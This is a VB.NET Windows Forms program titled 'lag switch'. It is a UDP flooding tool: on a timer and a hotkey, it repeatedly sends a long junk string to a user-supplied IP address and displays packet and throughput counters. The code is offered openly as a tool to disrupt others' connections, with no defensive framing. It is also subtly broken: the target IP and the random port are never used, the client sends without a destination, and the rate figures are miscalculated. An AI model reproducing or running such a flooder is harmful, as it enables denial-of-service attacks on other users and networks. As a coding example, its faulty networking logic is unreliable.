lag switch

Imports System.Net
Imports System.Text
Imports System.Net.Sockets

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.Text = "127.0.0.1"
        TextBox2.Text = "aoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohseraoiwehriisdhohser"
        TextBox3.Text = "1"
        Label4.Text = "0"
        Label5.Text = "0"
        Label6.Text = "0"
        Label7.Text = "0"
    End Sub

    Private Sub Form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
        If Control.ModifierKeys = Keys.CapsLock Then
            Timer1.Interval = TextBox3.Text
            TextBox1.Enabled = False
            TextBox2.Enabled = False
            TextBox3.Enabled = False

            Timer1.Start()
            Button1.Enabled = False
            Button2.Enabled = True
        End If

        If Control.ModifierKeys = Keys.LShiftKey Then
            Timer1.Stop()
            TextBox1.Enabled = True
            TextBox2.Enabled = True
            TextBox3.Enabled = True
            Button1.Enabled = True
            Button2.Enabled = False
        End If
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Interval = TextBox3.Text
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        TextBox3.Enabled = False
        Label4.Text = "0"
        Label5.Text = "0"
        Label6.Text = "0"
        Label7.Text = "0"

        Timer1.Start()
        Button1.Enabled = False
        Button2.Enabled = True
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Dim RandomNumber As Integer
        Dim RandomClass As New Random()
        RandomNumber = RandomClass.Next(100, 64000)

        Dim UdpClient As New UdpClient
        Dim GLOIP As IPAddress
        Dim bytCommand As Byte() = New Byte() {}
        GLOIP = IPAddress.Parse(TextBox1.Text)
        bytCommand = Encoding.ASCII.GetBytes(TextBox2.Text)
        udpClient.Send(bytCommand, bytCommand.Length)
        Label4.Text = +1
        Label5.Text = RandomNumber

        Label6.Text += (bytCommand.Length / 1024)

        Dim timeEx As Integer
        Dim kbCal As Integer

        timeEx = (1000 / Timer1.Interval)
        kbCal = (bytCommand.Length / 1024)
        Label7.Text = kbCal & " kb/s"
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        TextBox1.Enabled = True
        TextBox2.Enabled = True
        TextBox3.Enabled = True
        Label4.Text = "0"
        Label5.Text = "0"
        Label6.Text = "0"
        Label7.Text = "0"

        Button1.Enabled = True
        Button2.Enabled = False
    End Sub
End Class